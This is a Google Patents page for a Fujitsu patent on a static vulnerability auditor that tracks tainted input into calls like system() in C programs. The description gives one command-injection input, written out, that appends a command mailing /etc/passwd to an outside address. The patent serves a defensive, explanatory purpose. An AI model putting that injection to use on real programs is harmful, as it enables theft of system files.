JP2011150716A - 脆弱性監査プログラム、脆弱性監査装置、脆弱性監査方法 - Google Patents

脆弱性監査プログラム、脆弱性監査装置、脆弱性監査方法 Download PDF

Info

Publication number
JP2011150716A
JP2011150716A JP2011048514A JP2011048514A JP2011150716A JP 2011150716 A JP2011150716 A JP 2011150716A JP 2011048514 A JP2011048514 A JP 2011048514A JP 2011048514 A JP2011048514 A JP 2011048514A JP 2011150716 A JP2011150716 A JP 2011150716A
Authority
JP
Japan
Prior art keywords
vulnerability
program
variable
function
determination
Prior art date
Legal status (The legal status is an assumption and is not a legal conclusion. Google has not performed a legal analysis and makes no representation as to the accuracy of the status listed.)
Granted
Application number
JP2011048514A
Other languages
English (en)
Other versions
JP5077455B2 (ja
Inventor
Hitoshi Mitomo
仁史 三友
Satoru Torii
悟 鳥居
Current Assignee (The listed assignees may be inaccurate. Google has not performed a legal analysis and makes no representation or warranty as to the accuracy of the list.)
Fujitsu Ltd
Original Assignee
Fujitsu Ltd
Priority date (The priority date is an assumption and is not a legal conclusion. Google has not performed a legal analysis and makes no representation as to the accuracy of the date listed.)
Filing date
Publication date
Application filed by Fujitsu Ltd filed Critical Fujitsu Ltd
Priority to JP2011048514A priority Critical patent/JP5077455B2/ja
Publication of JP2011150716A publication Critical patent/JP2011150716A/ja
Application granted granted Critical
Publication of JP5077455B2 publication Critical patent/JP5077455B2/ja
Expired - Fee Related legal-status Critical Current
Anticipated expiration legal-status Critical

Links

Images

Abstract

【課題】脆弱なライブラリが適切に用いられていない箇所のみを検出できるようにする。
【解決手段】脆弱性に関する判定ルールであって、関数名と、該関数の引数であって不正な値が設定され得る引数の位置とが対応付けて予め定義される判定ルールを格納した記憶部から、前記判定ルールを読み込み、被監査プログラムの構文解析等を行い、前記構文解析が行われた被監査プログラムにおいて、値が外部から入力される変数を抽出し、処理フローに沿って追跡し、前記判定ルールに定義された関数及び該関数の引数の位置に、前記追跡された変数が使用されている場合(S32でY)に、該変数が比較演算子を含む条件式に用いられているか否か等を判定し、前記判定が否である場合に、警告メッセージを生成し、画面又はファイルに出力する(S44)。
【選択図】図6

Description

本発明は、プログラムを監査し、脆弱性を検出する脆弱性監査プログラム、脆弱性監査装置、脆弱性監査方法に関するものである。
プログラムに対する脆弱性監査技術は一般に、静的監査と動的監査に大別される。脆弱性とは、悪用されるとシステムダウン、乗っ取り、情報漏洩等、プログラムユーザに被害をもたらすようなバグの一種であり、セキュリティホールとも呼ばれる。
まず、静的監査について説明する。
プログラム言語に用意されたライブラリの中には、脆弱性の元になることから使用してはならないもの、或いは使用に注意を要するものが存在する。これらを脆弱ライブラリと呼ぶ。例えばC言語の場合、最もポピュラーな脆弱性であるバッファオーバフロー脆弱性の元となり得る“strcpy”等のライブラリはつかうべきでなく、代わりに“strncpy”等を使うべきである、と言われている。しかし、実際のソースコードにおいては、これらの規約が徹底されているとはいえない現状がある。
静的監査とは、プログラムの実行を伴わない監査のことである。一般的な静的監査は、ソースコードを読み込み、既知の脆弱ライブラリ名(システム関数なども含む)を検索し、脆弱ライブラリが使用されている位置と共に警告メッセージを出力する。これにより、プログラマがソースコードに脆弱性を作りこまないような支援を行う。
次に、動的監査について説明する。
動的監査とは、プログラムの実行を伴う監査のことである。一般的な動的監査は、メモリなどを監視しながら、プログラムに入力データを与え、ソースコードを1行ずつ実行する。そして、メモリ上で異常が発生した場合、警告メッセージを出力する。
なお、本発明の関連ある従来技術として、例えば、下記に示す特許文献1が知られている。このコンピュータプロセスのリソースのモデル化方法及び装置は、コンピュータプログラムのコンポーネントを解析して、そのコンポーネントがリソースに与える影響を決定する。また、リソースの所定の挙動に対する違反を検知すると、プログラミングエラーとして通知する。
特表平10−509258号公報
一般に脆弱とされているライブラリでも、プログラマがソースコード中での使い方さえ誤らなければ、脆弱性を作りこむことはない。例えば、“strcpy”ライブラリが文字列定数を処理するのであれば、脆弱性とはなりえない。一方、“strcpy”ライブラリが、プログラムのユーザ等、外部から与えられた文字列を処理する場合、外部から特殊な文字列を与えることでバッファオーバフロー脆弱性が発生しうる。
しかしながら、従来の静的監査は、脆弱なライブラリ名の単純なパターンマッチングに依るものが多く、ソースコード中で使用されている脆弱ライブラリの全てについて警告メッセージを出力する。すなわち、従来の静的監査は適切に使われている脆弱ライブラリについても警告するため、プログラマは膨大な警告メッセージに対処しなければならない。
また、従来の動的監査は、監査者が、プログラムに与える入力データのセットであるテストセットを作る必要がある。様々な脆弱性を網羅するようにテストセットを作ることは、一般に困難且つ高コストであり、このことが動的監査の敷居を高くしている。
本発明は上述した問題点を解決するためになされたものであり、脆弱なライブラリが適切に用いられていない箇所のみを検出する脆弱性監査プログラム、脆弱性監査装置、脆弱性監査方法を提供することを目的とする。
上述した課題を解決するため、本発明の一態様は、被監査プログラムの脆弱性を検出する脆弱性監査方法をコンピュータに実行させるための脆弱性監査プログラムであって、脆弱性に関する判定ルールであって、関数名と、該関数の引数であって不正な値が設定され得る引数の位置とが対応付けて予め定義される判定ルールを格納した記憶部から、前記判定ルールを読み込む判定ルール入力ステップと、前記被監査プログラムを読み込み構文解析を行うプログラム入力ステップと、前記構文解析が行われた被監査プログラムにおいて、値が外部から入力される変数を抽出し、処理フローに沿って追跡する処理フロー追跡ステップと、前記被監査プログラムにおいて、前記判定ルールに定義された関数及び該関数の引数の位置に、前記追跡された変数が使用されている場合に、該変数を引数としてチェック関数をコールしているか否か、または該変数が比較演算子を含む条件式に用いられているか否かを判定する脆弱性判定ステップと、前記脆弱性判定ステップによる判定が否である場合に、警告メッセージを生成し、画面又はファイルに出力する警告出力ステップと、をコンピュータに実行させるものである。
また、本発明の一態様に係る脆弱性監査プログラムにおいて、前記警告メッセージは、前記値が外部から入力される変数の位置、使用されたライブラリ関数と引数、使用されたライブラリ関数の位置、検出された脆弱性の説明、前記被監査プログラムの修正方法のいずれかを含むことを特徴とするものである。
また、本発明の一態様に係る脆弱性監査プログラムにおいて、前記被監査プログラムは、ソースコードまたは中間言語ファイルであることを特徴とするものである。
また、本発明の一態様は、被監査プログラムの脆弱性を検出する脆弱性監査方法をコンピュータに実行させるための脆弱性監査プログラムであって、脆弱性に関する判定ルールであって、関数名と、該関数の引数であって不正な値が設定され得る引数の位置とが対応付けて予め定義されるとともに、脆弱性に関するチェックをコンピュータに実行させるコードが予め定義される判定ルールを格納した記憶部から、前記判定ルールを読み込む判定ルール入力ステップと、前記被監査プログラムを読み込み構文解析を行うプログラム入力ステップと、前記構文解析が行われた被監査プログラムにおいて、値が外部から入力される変数を抽出し、処理フローに沿って追跡する処理フロー追跡ステップと、前記被監査プログラムにおいて、前記判定ルールに定義された関数及び該関数の引数の位置に、前記追跡された変数が使用されている場合に、該変数を引数としてチェック関数をコールしているか否か、または該変数が比較演算子を含む条件式に用いられているか否かを判定する脆弱性判定ステップと、前記脆弱性判定ステップによる判定が否である場合に、前記判定ルールに定義された脆弱性に関するチェックをコンピュータに実行させるコードを挿入することで、脆弱性について前記被監査プログラムの修正を行う修正出力ステップと、をコンピュータに実行させるものである。
また、本発明の一態様は、被監査プログラムの脆弱性を検出する脆弱性監査装置であって、脆弱性に関する判定ルールであって、関数名と、該関数の引数であって不正な値が設定され得る引数の位置とが対応付けて予め定義される判定ルールを格納した記憶部から、前記判定ルールを読み込む判定ルール入力部と、前記被監査プログラムを読み込み構文解析を行うプログラム入力部と、前記構文解析が行われた被監査プログラムにおいて、値が外部から入力される変数を抽出し、処理フローに沿って追跡する処理フロー追跡部と、前記被監査プログラムにおいて、前記判定ルールに定義された関数及び該関数の引数の位置に、前記追跡された変数が使用されている場合に、該変数を引数としてチェック関数をコールしているか否か、または該変数が比較演算子を含む条件式に用いられているか否かを判定する脆弱性判定部と、前記脆弱性判定部による判定が否である場合に、警告メッセージを生成し、画面又はファイルに出力する警告出力部と、を有するものである。
また、本発明の一態様は、被監査プログラムの脆弱性を検出する脆弱性監査装置であって、脆弱性に関する判定ルールであって、関数名と、該関数の引数であって不正な値が設定され得る引数の位置とが対応付けて予め定義されるとともに、脆弱性に関するチェックをコンピュータに実行させるコードが予め定義される判定ルールを格納した記憶部から、前記判定ルールを読み込む判定ルール入力部と、前記被監査プログラムを読み込み構文解析を行うプログラム入力部と、前記構文解析が行われた被監査プログラムにおいて、値が外部から入力される変数を抽出し、処理フローに沿って追跡する処理フロー追跡部と、前記被監査プログラムにおいて、前記判定ルールに定義された関数及び該関数の引数の位置に、前記追跡された変数が使用されている場合に、該変数を引数としてチェック関数をコールしているか否か、または該変数が比較演算子を含む条件式に用いられているか否かを判定する脆弱性判定部と、前記脆弱性判定部による判定が否である場合に、前記判定ルールに定義された脆弱性に関するチェックをコンピュータに実行させるコードを挿入することで、脆弱性について前記被監査プログラムの修正を行う修正出力部と、を有するものである。
また、本発明の一態様は、脆弱性に関する判定ルールであって、関数名と、該関数の引数であって不正な値が設定され得る引数の位置とが対応付けて予め定義される判定ルールを格納した記憶部から、前記判定ルールを読み込む判定ルール入力ステップと、前記被監査プログラムを読み込み構文解析を行うプログラム入力ステップと、前記構文解析が行われた被監査プログラムにおいて、値が外部から入力される変数を抽出し、処理フローに沿って追跡する処理フロー追跡ステップと、前記被監査プログラムにおいて、前記判定ルールに定義された関数及び該関数の引数の位置に、前記追跡された変数が使用されている場合に、該変数を引数としてチェック関数をコールしているか否か、または該変数が比較演算子を含む条件式に用いられているか否かを判定する脆弱性判定ステップと、前記脆弱性判定ステップによる判定が否である場合に、警告メッセージを生成し、画面又はファイルに出力する警告出力ステップと、をコンピュータが実行するものである。
また、本発明の一態様は、脆弱性に関する判定ルールであって、関数名と、該関数の引数であって不正な値が設定され得る引数の位置とが対応付けて予め定義されるとともに、脆弱性に関するチェックをコンピュータに実行させるコードが予め定義される判定ルールを格納した記憶部から、前記判定ルールを読み込む判定ルール入力ステップと、前記被監査プログラムを読み込み構文解析を行うプログラム入力ステップと、前記構文解析が行われた被監査プログラムにおいて、値が外部から入力される変数を抽出し、処理フローに沿って追跡する処理フロー追跡ステップと、前記被監査プログラムにおいて、前記判定ルールに定義された関数及び該関数の引数の位置に、前記追跡された変数が使用されている場合に、該変数を引数としてチェック関数をコールしているか否か、または該変数が比較演算子を含む条件式に用いられているか否かを判定する脆弱性判定ステップと、前記脆弱性判定ステップによる判定が否である場合に、前記判定ルールに定義された脆弱性に関するチェックをコンピュータに実行させるコードを挿入することで、脆弱性について前記被監査プログラムの修正を行う修正出力ステップと、をコンピュータに実行させるものである。
脆弱なライブラリが適切に用いられていない箇所のみを検出する脆弱性監査プログラム、脆弱性監査装置、脆弱性監査方法を提供することができる。
脆弱なプログラムの一例を示すソースコードである。 脆弱なプログラムの正常な実行結果の一例を示す表示である。 安全なプログラムの一例を示すソースコードである。 本発明に係る脆弱性監査装置の構成の一例を示すブロック図である。 本発明に係る脆弱性監査装置の動作の一例を示すフローチャートである。 本発明に係る変数処理の動作の一例を示すフローチャートである。 本発明に係る警告メッセージの一例を示す図である。 中間言語ファイルの一例を示す図である。 本発明に係る脆弱性監査装置の構成の別の一例を示すブロック図である。 本発明に係るプログラム修正方法の内容の一例を示すソースコードである。
以下、本発明の実施の形態について図面を参照しつつ説明する。
本実施の形態は、外部データの入力を起点としてデータフローを追跡し、外部データをそのまま危険なライブラリに引き渡している個所を検出するものである。従って、本実施の形態によれば、脆弱なライブラリが適切に用いられていない箇所のみを検出できる。本実施の形態では、C言語のソースコードに含まれる脆弱性を検出し、検出した脆弱性をプログラマに警告するような脆弱性監査装置について説明する。
まず、監査の対象となるプログラムである、2つの被監査プログラムの例について説明する。
第1の被監査プログラムの例として、脆弱なプログラム“test1.c”を図1に示す。“test1.c”は、ユーザにファイル名の入力を行わせ、このファイル名に対応するファイルの詳細情報(アクセス制限、所有者、サイズ、最終更新日時、等)を画面に出力するプログラムである。“test1.c”はまず、09〜11行目でファイル名の入力処理を行う。次に、13行目で当該ファイル名を用いてUnixシェルに渡すコマンド文字列を生成する。ここでは“ls −l filename”で、ファイルの詳細情報を出力する。次に、14行目で当該コマンド文字列をUnixシェルに引き渡す。このプログラムに既存の適切なファイル名を入力した場合の、正常な実行結果を図2に示す。
しかし、“test1.c”は悪用される恐れのある脆弱なプログラムである。悪意あるユーザは、ファイル名として例えば“example.txt; mail foo@fuga.com < /etc/passwd”を入力するかもしれない。この場合、“test1.c”は、ファイル“example.txt”の詳細情報が表示されるところまでは良いが、続けてパスワードファイルを“foo@fuga.com”宛てにメール送信するコマンドが実行されてしまう。すなわち、機密情報が漏洩してしまう。
次に、第2の被監査プログラムの例として、“test1.c”の問題を解決した安全なプログラム“test2.c”を図3に示す。“test1.c”と違って“test2.c”は、入力されたファイル名をチェックする。13行目で関数“Check_file_name”(23〜36行目で定義されている)が呼び出され、そこでファイル名がチェックされ、チェックにパスしないファイル名は処理せずにプログラムを終了する。これにより、“test1.c”のような問題は発生しないことになる。
ここで、関数“Check_file_name”について簡単に説明する。この関数は、ファイル名の文字列に英数字、‘.’(ピリオド)、‘−’(ハイフン)、‘_’(アンダーバー)以外の文字が含まれていないかをチェックしている。通常、これらの文字で必要十分と考えられる。すなわち、ファイル名に使える文字をこれらに限定することにより、“test1.c”の問題のような不正な入力を防ぐ。
次に、本発明に係る脆弱性監査装置の構成について説明する。図4は、本発明に係る脆弱性監査装置の構成の一例を示すブロック図である。この脆弱性監査装置は、プログラム入力部11、変数管理部21、判定ルール管理部22、処理フロー追跡部31、脆弱性判定部32、警告メッセージ出力部41を備える。
判定ルール管理部22は、予め定義された脆弱性についての判定ルールを管理する。判定ルールは、外部入力を用いる関数や脆弱ライブラリの引数等を記述したものである。また、判定ルールは、予めメモリに格納されても良いし、予めファイルに格納され起動時に読み込むようにしても良い。また、ユーザがこのファイルをカスタマイズできるようにしても良い。
プログラム入力部11は、ソースコードを読み込み、ソースコードの構文解析を行い、処理フローを処理フロー追跡部31に渡す。これは、C言語コンパイラの機能を利用して実現できる。C言語コンパイラはソースコードを構文解析して中間言語ファイルを生成するため、この中間言語ファイルを処理フローとする。ソースコードは複数のファイルからなるものでも良い。処理フロー追跡部31は、値が外部から入力される変数である外部入力変数を抽出し、その変数に関する情報を変数管理部21へ渡す。また、処理フロー追跡部31は、外部入力変数を処理フローに沿って追跡し、追跡した先の変数がライブラリ関数の脆弱な引数として処理されている箇所を抽出する。抽出の基準には、判定ルールを用いる。
変数管理部21は、処理フロー追跡部31から得られる変数毎の情報を変数テーブルとして管理する。変数毎の情報は、変数名、属性、属性が設定された位置(ソースファイル名と行番号)からなる。引数や変数の属性には、変数宣言直後の状態である「未設定」、値が設定された状態であり、他のどの状態でもない「通常」、外部入力された状態であり、脆弱性が発生し得る「汚染」、汚染でないことをチェックした「チェック済み」がある。また、属性が汚染である変数を汚染変数と呼ぶ。
脆弱性判定部32は、判定ルールに定義された脆弱なライブラリの引数として、汚染変数が使用されているか否かの判定を行う。警告出力部41は、脆弱性に関する警告メッセージを生成し、画面やファイル等に出力する。
次に、本発明に係る脆弱性監査装置の動作について説明する。図5は、本発明に係る脆弱性監査装置の動作の一例を示すフローチャートである。
まず、プログラム入力部11、プログラムを読み込み、処理フロー追跡部31へ渡す(S11)。次に、処理フロー追跡部31は、判定ルールに従って外部入力変数を抽出し、変数管理部21の変数テーブルに格納する(S12)。次に、処理フロー追跡部31は、未監査の変数が残っているか否かの判断を行う(S13)。未監査の変数が残っていれば(S13,Y)、処理フロー追跡部31は、未監査の変数の1つを選択して変数の監査を行い(S14)、処理S13へ戻る。一方、未監査の変数が残っていなければ(S13,N)、このフローを終了する。
処理S14において、処理フロー追跡部31と脆弱性判定部32は、選択した変数の監査を行う。図6は、本発明に係る変数の監査の動作の一例を示すフローチャートである。
まず、処理フロー追跡部31は、読み込んだプログラムを1行進める(S21)。次に、処理フロー追跡部31は、プログラムが終了したか否かの判断を行う(S22)。プログラムが終了した場合(S22,Y)、このフローを終了する。一方、プログラムが終了していない場合(S22,N)、処理フロー追跡部31は、プログラムが分岐したか否かの判断を行う(S23)。プログラムが分岐していない場合(S23,N)、処理S31へ移行する。一方、プログラムが分岐した場合(S23,Y)、処理フロー追跡部31は、選択した変数に対応する分岐先の変数を変数テーブルに格納する(S24)。
次に、処理フロー追跡部31は、当該変数の属性がチェック済みであるか否かの判断を行う(S31)。チェック済みである場合(S31,Y)、このフローを終了する。一方、チェック済みでない場合(S31,N)、処理フロー追跡部31は、当該変数が関数に使用されているか否かの判断を行う(S32)。関数に使用されていなければ(S32,N)、処理S21へ戻る。一方、関数に使用されていれば(S32,Y)、脆弱性判定部32は、各変数の属性の遷移により汚染変数が発生したか否かの判断を行う(S41)、汚染変数が発生していなければ(S41,N)、処理S43へ移行する。一方、汚染変数が発生していれば(S41,Y)、脆弱性判定部32は、変数の属性を汚染として変数テーブルに格納する(S42)。次に、脆弱性判定部32は、判定ルールに従って当該変数に脆弱性が発生したか否かの判断を行う(S43)。脆弱性が発生していない場合(S43,N)、処理S21へ戻る。一方、脆弱性が発生した場合(S43,Y)、警告出力部41は、警告メッセージの出力を行い(S44)、このフローを終了する。
ここで、処理S12は、予め定義した外部入力を用いる関数の使用と、main関数へ渡された引数(argc,argv)により、外部入力変数を抽出する。このうち外部入力を用いる関数については、関数名と、汚染された値が入り得る引数の位置を、予め判定ルールに定義しておく。この定義は、各関数の使用を踏まえて行う必要がある。例えばfgets関数について、以下のように予め定義しておく。
fgets:param_1=taint
この定義は、fgets関数が外部から入力される値が第1引数に入るような使用であることから、第1引数が汚染(taint)であり、それ以外の引数及び復帰値は非汚染であることを意味している。
同様にsnprintf関数について、以下のように予め定義しておく。
snprintf:param_1=param_4
この定義は、snprintf関数において第1引数の属性が第4引数の属性を引き継ぐことを意味している。つまり、第4引数が汚染であれば、第1引数も汚染となり、第4引数が非汚染であれば、第1引数も非汚染となる。
同様にsystem関数について、以下のように予め定義しておく。
system:alert_if param_1=taint
この定義は、system関数において第1引数が汚染である場合に警告メッセージを生成することを意味している。すなわち、この関数は、第1引数が汚染である場合に異常な挙動を示す恐れがあり、脆弱性を有することを表す。
また、処理S31は、変数の属性がチェック済みか否かのチェックを行う。例えば、対象となる変数を引数としてisalnum()等のチェック関数をコールすると、対象となる変数の属性はチェック済みとなる。また、対象となる変数が比較演算子を含む条件式に用いられると、対象となる変数の属性はチェック済みとなる。
また、処理S44は、脆弱性に関する警告メッセージを生成し、画面やファイル等に出力する。図7は、本発明に係る警告メッセージの一例を示す図である。警告メッセージとしてまず、検出番号、関数名、引数位置が出力される。関数名、危険度、脅威、解説、等の脆弱性に関する説明は、予め判定ルール中に定義され、検出された脆弱性のIDに対応づけられている。汚染されたデータの設定箇所は、変数テーブルに格納されており、設定した関数名、ファイル名、行番号等が出力される。脆弱ライブラリの使用箇所は、フロー追跡の現在位置から得られ、使用した関数名、ファイル名、行番号等が出力される。
次に、本発明に係る脆弱性監査装置が、脆弱なプログラムの脆弱性監査を行う場合と、安全なプログラムの脆弱性監査を行う場合について、動作の具体例を説明する。
まず、脆弱性監査装置が、脆弱なプログラム“test1.c”の脆弱性監査を行う場合について説明する。
まず、脆弱性監査装置は、10行目でfgets関数が使用されていることから、変数file_nameに外部から値が入力され、変数file_nameの属性が汚染である可能性がある、と判断する。
次に、脆弱性監査装置は、13行目でsnprintf関数が使用されていることから、変数ls_commandに変数file_nameの属性が引き継がれ、変数ls_commandの属性が汚染である可能性がある、と判断する。
次に、脆弱性監査装置は、14行目でsystem関数の引数として変数ls_commandが使用されていることから、system関数が汚染変数を処理しており、脆弱性を発生する可能性がある、と判断する。次に、脆弱性監査装置は、検出した脆弱性について警告メッセージを出力する。
次に、脆弱性監査装置が、安全なプログラム“test2.c”の脆弱性監査を行う場合について説明する。
まず、脆弱性監査装置は、10行目でfgets関数が使用されていることから、変数file_nameに外部から値が入力され、変数file_nameの属性が汚染である、と判断する。
次に、脆弱性監査装置は、13行目で関数Check_file_nameにより変数file_nameが値をチェックされており、変数file_nameの属性がチェック済みである、と判断する。
次に、脆弱性監査装置は、18行目でsnprintf関数が使用されていることから、変数ls_commandに変数file_nameの属性が引き継がれ、変数ls_commandの属性がチェック済みである、と判断する。
次に、脆弱性監査装置は、19行目でsystem関数の引数として変数ls_commandが使用されていることから、system関数がチェック済みの属性を持つ変数を処理しており、脆弱性を発生する可能性がない、と判断する。
なお、本実施の形態においては、1つの変数に対して検出された警告メッセージを1つずつ出力していたが、同一の変数に対する複数の警告メッセージをマージしても良い。プログラムにおいてif文等により処理が分岐しており、分岐先で同じ変数に対して異なる処理が施される場合がよくある。このような場合において、例えば、片方の分岐先では危険度の高い脆弱性が検出され、もう片方の分岐先では危険度の低い脆弱性が検出されることがある。このとき、両者を別の警告メッセージとして出力することはユーザにとって冗長であり、両者をマージした警告メッセージとして出力する方が望ましいことが多い。警告メッセージのマージの具体的な方法としては、複数の警告メッセージの中で最も危険度の高い警告メッセージのみを残し、他の警告メッセージを捨てる方法がある。
また、本実施の形態においては、ソースコードを処理することにより脆弱性監査を行うが、中間言語ファイルを処理することにより脆弱性監査を行ってもよい。C言語のプログラムにおいては、人間にとって可読性のあるソースコードをコンパイルすることにより、コンピュータが実行可能な機械語に翻訳される。コンパイラは、この翻訳の過程で中間的なファイルである中間言語ファイルを生成しており、これをディスクに出力することもできる。中間言語ファイルは、ソースコードを単位毎にノードの形で表したものであり、人間にとってソースコードのような可読性はないが、機械語ほど解読が困難なものではない。図8は、中間言語ファイルの一例を示す図である。このような中間言語ファイルを読み込んだ場合、脆弱性監査装置は木構造のデータフローを生成することができる。データの形式は異なるが、ソースコードと同様にして脆弱性監査の処理を行うことができる。
また、本実施の形態においては、脆弱性監査装置が警告メッセージを出力することにより、ユーザが警告メッセージに従ってプログラムの修正を行うことを目的としたが、警告メッセージにプログラム修正方法を含めても良いし、新たに備える修正出力部がプログラム修正方法に従って自動的にプログラムを修正しても良い。図9は、本発明に係る脆弱性監査装置の構成の別の一例を示すブロック図である。図9において、図4と同一符号は図4に示された対象と同一又は相当物を示しており、ここでの説明を省略する。また、図4と比較すると図9の装置は、警告出力部41の代わりに修正出力部51を備えることにより、自動的にプログラムを修正する。
このようにプログラム修正方法を得る場合、判定ルールにおいて、更に脆弱性に対するプログラム修正方法を予め定義しておく。例えば、まず、system関数の判定ルールにおいてフィールドを1つ追加し、以下のようなプログラム修正方法の種類を記述する。
system:alert_if param1=taint,correct=method3
更に、判定ルールにおいてプログラム修正方法method3の内容を予め定義しておく。図10は、本発明に係るプログラム修正方法の内容の一例を示すソースコードである。このプログラム修正方法method3は、system関数を使用する直前に、その引数として使用される文字列変数をチェックするロジックを挿入するものである。このロジックは文字列変数において、‘|’や‘;’等、シェルに引き渡されると危険である文字が含まれているか否かをチェックするものである。ここで、Invalid_String_Error(x)は、別の箇所で定義される関数であり、エラーを出力してプログラムを終了させるものである。
また、本実施の形態においては、C言語を対象としたが、他のプログラム言語についても適用可能である。
更に、脆弱性監査装置を構成するコンピュータに上述した各ステップを実行させるプログラムを、脆弱性監査プログラムとして提供することができる。上述したプログラムは、コンピュータにより読取り可能な記録媒体に記憶させることによって、脆弱性監査装置を構成するコンピュータに実行させることが可能となる。ここで、上記コンピュータにより読取り可能な記録媒体としては、CD−ROMやフレキシブルディスク、DVDディスク、光磁気ディスク、ICカード等の可搬型記憶媒体や、コンピュータプログラムを保持するデータベース、或いは、他のコンピュータ並びにそのデータベースや、更に回線上の伝送媒体をも含むものである。
本発明によれば、脆弱なライブラリが適切に用いられていない箇所のみを検出することにより、脆弱なライブラリを全て検出する従来の方法に比べ、脆弱性検出の精度が大幅に向上する。
11 プログラム入力部、21 変数管理部、22 判定ルール管理部、31 処理フロー追跡部、32 脆弱性判定部、41 警告メッセージ出力部、51 修正出力部。

Claims (8)

  1. 被監査プログラムの脆弱性を検出する脆弱性監査方法をコンピュータに実行させるための脆弱性監査プログラムであって、
    脆弱性に関する判定ルールであって、関数名と、該関数の引数であって不正な値が設定され得る引数の位置とが対応付けて予め定義される判定ルールを格納した記憶部から、前記判定ルールを読み込む判定ルール入力ステップと、
    前記被監査プログラムを読み込み構文解析を行うプログラム入力ステップと、
    前記構文解析が行われた被監査プログラムにおいて、値が外部から入力される変数を抽出し、処理フローに沿って追跡する処理フロー追跡ステップと、
    前記被監査プログラムにおいて、前記判定ルールに定義された関数及び該関数の引数の位置に、前記追跡された変数が使用されている場合に、該変数を引数としてチェック関数をコールしているか否か、または該変数が比較演算子を含む条件式に用いられているか否かを判定する脆弱性判定ステップと、
    前記脆弱性判定ステップによる判定が否である場合に、警告メッセージを生成し、画面又はファイルに出力する警告出力ステップと、
    をコンピュータに実行させるための脆弱性監査プログラム。
  2. 請求項1に記載の脆弱性監査プログラムにおいて、
    前記判定ルールは、ライブラリ関数における脆弱な引数の定義を含むことを特徴とする脆弱性監査プログラム。
  3. 請求項1に記載の脆弱性監査プログラムにおいて、
    前記変数管理ステップにより管理される変数は、前記値が外部から入力される変数と、前記値が外部から入力される変数が関数等で処理された結果の変数を含むことを特徴とする脆弱性監査プログラム。
  4. 被監査プログラムの脆弱性を検出する脆弱性監査方法をコンピュータに実行させるための脆弱性監査プログラムであって、
    脆弱性に関する判定ルールであって、関数名と、該関数の引数であって不正な値が設定され得る引数の位置とが対応付けて予め定義されるとともに、脆弱性に関するチェックをコンピュータに実行させるコードが予め定義される判定ルールを格納した記憶部から、前記判定ルールを読み込む判定ルール入力ステップと、
    前記被監査プログラムを読み込み構文解析を行うプログラム入力ステップと、
    前記構文解析が行われた被監査プログラムにおいて、値が外部から入力される変数を抽出し、処理フローに沿って追跡する処理フロー追跡ステップと、
    前記被監査プログラムにおいて、前記判定ルールに定義された関数及び該関数の引数の位置に、前記追跡された変数が使用されている場合に、該変数を引数としてチェック関数をコールしているか否か、または該変数が比較演算子を含む条件式に用いられているか否かを判定する脆弱性判定ステップと、
    前記脆弱性判定ステップによる判定が否である場合に、前記判定ルールに定義された脆弱性に関するチェックをコンピュータに実行させるコードを挿入することで、脆弱性について前記被監査プログラムの修正を行う修正出力ステップと、
    をコンピュータに実行させる脆弱性監査プログラム。
  5. 被監査プログラムの脆弱性を検出する脆弱性監査装置であって、
    脆弱性に関する判定ルールであって、関数名と、該関数の引数であって不正な値が設定され得る引数の位置とが対応付けて予め定義される判定ルールを格納した記憶部から、前記判定ルールを読み込む判定ルール入力部と、
    前記被監査プログラムを読み込み構文解析を行うプログラム入力部と、
    前記構文解析が行われた被監査プログラムにおいて、値が外部から入力される変数を抽出し、処理フローに沿って追跡する処理フロー追跡部と、
    前記被監査プログラムにおいて、前記判定ルールに定義された関数及び該関数の引数の位置に、前記追跡された変数が使用されている場合に、該変数を引数としてチェック関数をコールしているか否か、または該変数が比較演算子を含む条件式に用いられているか否かを判定する脆弱性判定部と、
    前記脆弱性判定部による判定が否である場合に、警告メッセージを生成し、画面又はファイルに出力する警告出力部と、
    を有する脆弱性監査装置。
  6. 被監査プログラムの脆弱性を検出する脆弱性監査装置であって、
    脆弱性に関する判定ルールであって、関数名と、該関数の引数であって不正な値が設定され得る引数の位置とが対応付けて予め定義されるとともに、脆弱性に関するチェックをコンピュータに実行させるコードが予め定義される判定ルールを格納した記憶部から、前記判定ルールを読み込む判定ルール入力部と、
    前記被監査プログラムを読み込み構文解析を行うプログラム入力部と、
    前記構文解析が行われた被監査プログラムにおいて、値が外部から入力される変数を抽出し、処理フローに沿って追跡する処理フロー追跡部と、
    前記被監査プログラムにおいて、前記判定ルールに定義された関数及び該関数の引数の位置に、前記追跡された変数が使用されている場合に、該変数を引数としてチェック関数をコールしているか否か、または該変数が比較演算子を含む条件式に用いられているか否かを判定する脆弱性判定部と、
    前記脆弱性判定部による判定が否である場合に、前記判定ルールに定義された脆弱性に関するチェックをコンピュータに実行させるコードを挿入することで、脆弱性について前記被監査プログラムの修正を行う修正出力部と、
    を有する脆弱性監査装置。
  7. 脆弱性に関する判定ルールであって、関数名と、該関数の引数であって不正な値が設定され得る引数の位置とが対応付けて予め定義される判定ルールを格納した記憶部から、前記判定ルールを読み込む判定ルール入力ステップと、
    前記被監査プログラムを読み込み構文解析を行うプログラム入力ステップと、
    前記構文解析が行われた被監査プログラムにおいて、値が外部から入力される変数を抽出し、処理フローに沿って追跡する処理フロー追跡ステップと、
    前記被監査プログラムにおいて、前記判定ルールに定義された関数及び該関数の引数の位置に、前記追跡された変数が使用されている場合に、該変数を引数としてチェック関数をコールしているか否か、または該変数が比較演算子を含む条件式に用いられているか否かを判定する脆弱性判定ステップと、
    前記脆弱性判定ステップによる判定が否である場合に、警告メッセージを生成し、画面又はファイルに出力する警告出力ステップと、
    をコンピュータが実行する脆弱性監査方法。
  8. 脆弱性に関する判定ルールであって、関数名と、該関数の引数であって不正な値が設定され得る引数の位置とが対応付けて予め定義されるとともに、脆弱性に関するチェックをコンピュータに実行させるコードが予め定義される判定ルールを格納した記憶部から、前記判定ルールを読み込む判定ルール入力ステップと、
    前記被監査プログラムを読み込み構文解析を行うプログラム入力ステップと、
    前記構文解析が行われた被監査プログラムにおいて、値が外部から入力される変数を抽出し、処理フローに沿って追跡する処理フロー追跡ステップと、
    前記被監査プログラムにおいて、前記判定ルールに定義された関数及び該関数の引数の位置に、前記追跡された変数が使用されている場合に、該変数を引数としてチェック関数をコールしているか否か、または該変数が比較演算子を含む条件式に用いられているか否かを判定する脆弱性判定ステップと、
    前記脆弱性判定ステップによる判定が否である場合に、前記判定ルールに定義された脆弱性に関するチェックをコンピュータに実行させるコードを挿入することで、脆弱性について前記被監査プログラムの修正を行う修正出力ステップと、
    をコンピュータに実行させる脆弱性監査方法。
JP2011048514A 2011-03-07 2011-03-07 脆弱性監査プログラム、脆弱性監査装置、脆弱性監査方法 Expired - Fee Related JP5077455B2 (ja)

Priority Applications (1)

Application Number Priority Date Filing Date Title
